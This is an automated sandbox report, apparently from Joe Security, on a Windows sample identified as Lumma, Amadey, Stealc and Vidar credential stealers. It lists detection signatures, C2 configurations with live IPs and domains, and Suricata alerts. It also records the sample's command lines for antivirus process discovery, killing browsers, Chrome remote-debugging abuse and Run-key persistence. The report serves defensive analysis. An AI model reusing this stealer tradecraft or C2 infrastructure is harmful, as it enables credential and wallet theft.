Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559356
MD5:	4b517665a74a84df87d5360aa6560efb
SHA1:	8e2981eaf255f7e1cc90da8b494148281769bcb4
SHA256:	462b590df7f786de4cb422be74146d935f45d47008a25fe26979f3737f3dd972
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if the current machine is a virtual machine (disk enumeration)

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Drops PE files with a suspicious file extension

Found API chain indicative of debugger detection

Found API chain indicative of sandbox detection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

OS version to string mapping found (often used in BOTs)

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file overlay found

Potential key logger detected (key state polling based)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Copy From or To System Directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 432 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 4B517665A74A84DF87D5360AA6560EFB)

chrome.exe (PID: 280 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2504,i,10230353253133394527,14038540076738270544,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 3736 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHCAFIDBKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsFHCAFIDBKE.exe (PID: 8140 cmdline: "C:\Users\user\DocumentsFHCAFIDBKE.exe" MD5: EBE6DE9BE122D27057536193303F1F89)

skotes.exe (PID: 2640 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EBE6DE9BE122D27057536193303F1F89)

skotes.exe (PID: 7692 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EBE6DE9BE122D27057536193303F1F89)

GuidanceConnectors.exe (PID: 7416 cmdline: "C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe" MD5: 211DD0CC3DA148C5BC61389693FD284F)

cmd.exe (PID: 7224 cmdline: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7256 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7192 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7352 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7460 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7752 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7984 cmdline: cmd /c md 390641 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 2792 cmdline: findstr /V "ConventionTroopsStudiedTooth" Version MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 4336 cmdline: cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Imposed.com (PID: 3444 cmdline: Imposed.com B MD5: 78BA0653A340BAC5FF152B21A83626CC)

Imposed.com (PID: 5268 cmdline: C:\Users\user\AppData\Local\Temp\390641\Imposed.com MD5: 78BA0653A340BAC5FF152B21A83626CC)

Imposed.com (PID: 3332 cmdline: C:\Users\user\AppData\Local\Temp\390641\Imposed.com MD5: 78BA0653A340BAC5FF152B21A83626CC)

choice.exe (PID: 6064 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

3f69cca2d1.exe (PID: 6592 cmdline: "C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe" MD5: 6C252BD0D2276C27AF37629D8CF891DB)

70da2e822d.exe (PID: 4956 cmdline: "C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe" MD5: DA6F4DD65914C67347F3DB2234602578)

57b831f1bb.exe (PID: 5724 cmdline: "C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe" MD5: 4B517665A74A84DF87D5360AA6560EFB)

0245b5a6ea.exe (PID: 4556 cmdline: "C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe" MD5: EBE0BE1900764175F9F6B4C7F4F09E26)

taskkill.exe (PID: 5124 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1772 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1928 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7932 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8024 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 3592 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

70da2e822d.exe (PID: 8100 cmdline: "C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe" MD5: DA6F4DD65914C67347F3DB2234602578)

firefox.exe (PID: 7788 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5576 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["peepburry828.sbs", "processhol.sbs", "3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000003.2997404895.000000000185E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2138645260.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1794953708.0000000005400000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3056181007.0000000001198000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
0000000D.00000003.2649469909.00000000049A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000A.00000002.2162110905.0000000000F21000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000002.3053677209.0000000000911000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.3006334699.0000000000021000.00000040.00000001.01000000.00000013.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2091184499.0000000000A41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2178971570.0000000000911000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000A.00000003.2074847079.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000003.2965920294.00000000049E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 432	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 432	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 432	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 70da2e822d.exe PID: 4956	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 70da2e822d.exe PID: 4956	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 70da2e822d.exe PID: 4956	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 57b831f1bb.exe PID: 5724	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 57b831f1bb.exe PID: 5724	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 0245b5a6ea.exe PID: 4556	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 20 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.DocumentsFHCAFIDBKE.exe.f20000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
11.2.skotes.exe.910000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.skotes.exe.910000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\70da2e822d.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 432, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 280, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7692, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\70da2e822d.exe

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe, ParentProcessId: 7416, ParentProcessName: GuidanceConnectors.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, ProcessId: 7224, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7752, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:29.090454+0100	2028371	3	Unknown Traffic	192.168.2.4	50041	188.114.96.3	443	TCP
2024-11-20T12:59:30.873038+0100	2028371	3	Unknown Traffic	192.168.2.4	50042	188.114.96.3	443	TCP
2024-11-20T12:59:32.433972+0100	2028371	3	Unknown Traffic	192.168.2.4	50043	188.114.96.3	443	TCP
2024-11-20T12:59:33.813383+0100	2028371	3	Unknown Traffic	192.168.2.4	50045	188.114.96.3	443	TCP
2024-11-20T12:59:35.077894+0100	2028371	3	Unknown Traffic	192.168.2.4	50048	188.114.96.3	443	TCP
2024-11-20T12:59:36.746814+0100	2028371	3	Unknown Traffic	192.168.2.4	50049	188.114.96.3	443	TCP
2024-11-20T12:59:39.809087+0100	2028371	3	Unknown Traffic	192.168.2.4	50052	188.114.96.3	443	TCP
2024-11-20T12:59:41.567698+0100	2028371	3	Unknown Traffic	192.168.2.4	50053	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:29.532622+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50041	188.114.96.3	443	TCP
2024-11-20T12:59:31.264590+0100	2054653	1	A Network Trojan was detected	192.168.2.4	50042	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:29.532622+0100	2049836	1	A Network Trojan was detected	192.168.2.4	50041	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:31.264590+0100	2049812	1	A Network Trojan was detected	192.168.2.4	50042	188.114.96.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:11.315680+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50032	185.215.113.43	80	TCP
2024-11-20T12:59:18.543037+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50034	185.215.113.43	80	TCP
2024-11-20T12:59:28.485355+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50039	185.215.113.43	80	TCP
2024-11-20T12:59:33.709287+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50044	185.215.113.43	80	TCP
2024-11-20T12:59:38.520887+0100	2044696	1	A Network Trojan was detected	192.168.2.4	50050	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:38.388308+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:38.381103+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:38.609892+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:39.632568+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:38.617090+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:37.138378+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	50049	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:57:38.152877+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP
2024-11-20T12:59:34.620714+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50046	185.215.113.206	80	TCP
2024-11-20T12:59:47.104714+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50085	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:04.174371+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50027	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:10.625491+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50030	TCP
2024-11-20T12:59:27.770731+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	50037	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T12:59:07.213278+0100	2803305	3	Unknown Traffic	192.168.2.4	50031	150.241.91.218	80	TCP
2024-11-20T12:59:12.052061+0100	2803305	3	Unknown Traffic	192.168.2.4	50033	31.41.244.11	80	TCP
2024-11-20T12:59:23.866635+0100	2803305	3	Unknown Traffic	192.168.2.4	50038	185.215.113.16	80	TCP
2024-11-20T12:59:29.189870+0100	2803305	3	Unknown Traffic	192.168.2.4	50040	185.215.113.16	80	TCP
2024-11-20T12:59:34.428895+0100	2803305	3	Unknown Traffic	192.168.2.4	50047	185.215.113.16	80	TCP
2024-11-20T12:59:39.276925+0100	2803305	3	Unknown Traffic	192.168.2.4	50051	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

